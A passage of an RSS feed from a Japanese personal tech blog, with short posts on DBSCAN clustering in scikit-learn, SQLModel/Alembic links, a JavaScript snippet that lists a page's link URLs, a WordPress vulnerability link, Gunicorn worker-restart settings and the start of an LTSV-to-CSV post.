&lt;li&gt;次元削減の手法ですが、クラスタリングの前処理として使用されることが多いです。データの重要な特徴を抽出し、クラスタリングの精度を向上させます。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これらの手法を使うことで、ユーザーを効果的にクラスタリングし、属性に基づいた分析やマーケティング戦略の立案が可能になります。どの手法が最適かは、データの特性や目的によって異なるため、いくつかの手法を試してみると良いでしょう。&lt;/p&gt;
&lt;p&gt;どの手法について詳しく知りたいですか？または、具体的なデータの例があれば教えてください。&lt;/p&gt;
&lt;h2 id="dbscan"&gt;DBSCAN&lt;/h2&gt;
&lt;p&gt;以下に、Pythonを使ってDBSCANでデータをクラスタリングするサンプルコードを示します。この例では、scikit-learnライブラリを使用しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; numpy &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; np
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; sklearn.cluster &lt;span style="color:#f92672"&gt;import&lt;/span&gt; DBSCAN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; sklearn.datasets &lt;span style="color:#f92672"&gt;import&lt;/span&gt; make_blobs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; matplotlib.pyplot &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; plt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# サンプルデータの生成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X, _ &lt;span style="color:#f92672"&gt;=&lt;/span&gt; make_blobs(n_samples&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;, centers&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;, cluster_std&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.60&lt;/span&gt;, random_state&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# DBSCANの実行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dbscan &lt;span style="color:#f92672"&gt;=&lt;/span&gt; DBSCAN(eps&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.3&lt;/span&gt;, min_samples&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clusters &lt;span style="color:#f92672"&gt;=&lt;/span&gt; dbscan&lt;span style="color:#f92672"&gt;.&lt;/span&gt;fit_predict(X)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# クラスタリング結果のプロット&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plt&lt;span style="color:#f92672"&gt;.&lt;/span&gt;scatter(X[:, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;], X[:, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;], c&lt;span style="color:#f92672"&gt;=&lt;/span&gt;clusters, cmap&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;viridis&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plt&lt;span style="color:#f92672"&gt;.&lt;/span&gt;xlabel(&lt;span style="color:#e6db74"&gt;&amp;#39;Feature 1&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plt&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ylabel(&lt;span style="color:#e6db74"&gt;&amp;#39;Feature 2&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plt&lt;span style="color:#f92672"&gt;.&lt;/span&gt;title(&lt;span style="color:#e6db74"&gt;&amp;#39;DBSCAN Clustering&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plt&lt;span style="color:#f92672"&gt;.&lt;/span&gt;show()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;このコードでは、以下の手順を踏んでいます：&lt;/p&gt;</description></item><item><title>LLM: ペルソナ</title><link>https://hdknr.github.io/blogs/posts/2024/11/llm-%E3%83%9A%E3%83%AB%E3%82%BD%E3%83%8A/</link><pubDate>Thu, 07 Nov 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/11/llm-%E3%83%9A%E3%83%AB%E3%82%BD%E3%83%8A/</guid><description>&lt;h1 id="ペルソナ"&gt;ペルソナ&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ds.yahoo.co.jp/report/20230919.html"&gt;生成 AI との融合で素早く深くペルソナを理解する！AI インタビューのご紹介&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>SQLModel</title><link>https://hdknr.github.io/blogs/posts/2024/10/sqlmodel/</link><pubDate>Thu, 17 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/sqlmodel/</guid><description>&lt;h1 id="sqlmodel"&gt;SQLModel&lt;/h1&gt;
&lt;h2 id="テーブル定義"&gt;テーブル定義&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://laid-back-scientist.com/sqlmodel"&gt;SQLModel で簡単なテーブルを作成する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="alembic-マイグレーション"&gt;Alembic マイグレーション&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/haruki-lo-shelon/items/6184d626892e062c7a0d"&gt;SQLModel で設計したモデルを Alembic でマイグレーション&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/haruki-lo-shelon/items/c469132f6b81b2c650a7"&gt;Alembic で複数モデルを扱う&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kabueye.com/articles/python-alembic-sqlmodel#alembic%E8%A8%AD%E5%AE%9A%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%82%92sqlmodel%E5%90%91%E3%81%91%E3%81%AB%E4%BF%AE%E6%AD%A3"&gt;alembic + SQLModelでデータベースをマイグレーションする&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>javascript: ページのURLを取得</title><link>https://hdknr.github.io/blogs/posts/2024/10/javascript-%E3%83%9A%E3%83%BC%E3%82%B8%E3%81%AEurl%E3%82%92%E5%8F%96%E5%BE%97/</link><pubDate>Mon, 14 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/javascript-%E3%83%9A%E3%83%BC%E3%82%B8%E3%81%AEurl%E3%82%92%E5%8F%96%E5%BE%97/</guid><description>&lt;h1 id="javascript-ページ内のアンカーの取得"&gt;Javascript ページ内のアンカーの取得&lt;/h1&gt;
&lt;h2 id="ブラウザの検証でコンソールからプログラムを実行"&gt;ブラウザの「検証」でコンソールからプログラムを実行&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// ページ内のすべてのアンカー要素を取得
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;anchors&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;querySelectorAll&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// アンカーのhref属性を配列に格納
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;urls&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Array.&lt;span style="color:#a6e22e"&gt;from&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;anchors&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;map&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;anchor&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;anchor&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 結果をコンソールに表示
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;urls&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Wordpress: 脆弱性</title><link>https://hdknr.github.io/blogs/posts/2024/10/wordpress-%E8%84%86%E5%BC%B1%E6%80%A7/</link><pubDate>Mon, 14 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/wordpress-%E8%84%86%E5%BC%B1%E6%80%A7/</guid><description>&lt;h1 id="wordpress脆弱性"&gt;Wordpress脆弱性&lt;/h1&gt;
&lt;h2 id="advanced-custom-fields-acf"&gt;Advanced Custom Fields (ACF)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://rocket-boys.co.jp/7886/"&gt;https://rocket-boys.co.jp/7886/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>gunicorn</title><link>https://hdknr.github.io/blogs/posts/2024/10/gunicorn/</link><pubDate>Fri, 11 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/gunicorn/</guid><description>&lt;h1 id="gunicorn"&gt;Gunicorn&lt;/h1&gt;
&lt;h2 id="max_requests--max_requests_jitter"&gt;&lt;code&gt;max_requests&lt;/code&gt; / &lt;code&gt;max_requests_jitter&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Gunicornでメモリリークを避けるために子プロセスを定期的に再起動するには、&lt;code&gt;max_requests&lt;/code&gt;と&lt;code&gt;max_requests_jitter&lt;/code&gt;の設定を利用するのが効果的です。これにより、一定のリクエスト数を処理した後にワーカープロセスが自動的に再起動されます。&lt;/p&gt;
&lt;p&gt;以下はその設定方法です：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;max_requests&lt;/code&gt;&lt;/strong&gt;: 各ワーカープロセスが再起動される前に処理するリクエストの最大数を指定します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;max_requests_jitter&lt;/code&gt;&lt;/strong&gt;: 再起動のタイミングをランダム化するためのオプションです。これにより、全てのワーカープロセスが同時に再起動されるのを防ぎます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Gunicornの設定ファイル（例：&lt;code&gt;gunicorn.conf.py&lt;/code&gt;）に以下のように追加します：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# gunicorn.conf.py&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;max_requests &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; &lt;span style="color:#75715e"&gt;# 1000リクエストごとに再起動&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;max_requests_jitter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt; &lt;span style="color:#75715e"&gt;# 再起動タイミングをランダム化&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;または、コマンドラインで起動する際にオプションとして指定することもできます：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gunicorn --max-requests &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; --max-requests-jitter &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt; myapp:app
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;これにより、各ワーカープロセスは1000回のリクエストを処理した後、ランダムに最大50回のリクエストを追加で処理してから再起動されます¹(&lt;a href="https://qiita.com/ryu22e/items/2668a2243a5191bcdc78)%C2%B2(https://zenn.dev/xknzw/articles/d2d337ae2f8966)%C2%B3(https://qiita.com/_konishi_/items/1dc2bbfc386f57d06934)%E3%80%82"&gt;https://qiita.com/ryu22e/items/2668a2243a5191bcdc78)²(https://zenn.dev/xknzw/articles/d2d337ae2f8966)³(https://qiita.com/_konishi_/items/1dc2bbfc386f57d06934)。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;この設定により、メモリリークの影響を最小限に抑えつつ、サービスの安定性を保つことができます。&lt;/p&gt;
&lt;p&gt;¹(&lt;a href="https://qiita.com/ryu22e/items/2668a2243a5191bcdc78"&gt;https://qiita.com/ryu22e/items/2668a2243a5191bcdc78&lt;/a&gt;): &lt;a href="https://qiita.com/ryu22e/items/2668a2243a5191bcdc78"&gt;gunicorn(&amp;gt;=19.2)ではmax_requestsと一緒にmax_requests_jitterも使おう - Qiita&lt;/a&gt;
²(&lt;a href="https://zenn.dev/xknzw/articles/d2d337ae2f8966"&gt;https://zenn.dev/xknzw/articles/d2d337ae2f8966&lt;/a&gt;): &lt;a href="https://zenn.dev/xknzw/articles/d2d337ae2f8966"&gt;gunicorn syncワーカーの全体像メモ - Zenn&lt;/a&gt;
³(&lt;a href="https://qiita.com/_konishi_/items/1dc2bbfc386f57d06934"&gt;https://qiita.com/_konishi_/items/1dc2bbfc386f57d06934&lt;/a&gt;): &lt;a href="https://qiita.com/_konishi_/items/1dc2bbfc386f57d06934"&gt;gunicornでディスク使用量が増え続ける現象への対処 - Qiita&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;(1) gunicorn(&amp;gt;=19.2)ではmax_requestsと一緒にmax_requests_jitterも使おう. &lt;a href="https://qiita.com/ryu22e/items/2668a2243a5191bcdc78"&gt;https://qiita.com/ryu22e/items/2668a2243a5191bcdc78&lt;/a&gt;.
(2) gunicorn syncワーカーの全体像メモ - Zenn. &lt;a href="https://zenn.dev/xknzw/articles/d2d337ae2f8966"&gt;https://zenn.dev/xknzw/articles/d2d337ae2f8966&lt;/a&gt;.
(3) gunicornでディスク使用量が増え続ける現象への対処 - Qiita. &lt;a href="https://qiita.com/_konishi_/items/1dc2bbfc386f57d06934"&gt;https://qiita.com/_konishi_/items/1dc2bbfc386f57d06934&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>ltsv</title><link>https://hdknr.github.io/blogs/posts/2024/10/ltsv/</link><pubDate>Fri, 11 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/ltsv/</guid><description>&lt;h1 id="ltsv"&gt;ltsv&lt;/h1&gt;
&lt;h2 id="ltsv-から-csvに変換"&gt;ltsv から　 csvに変換&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
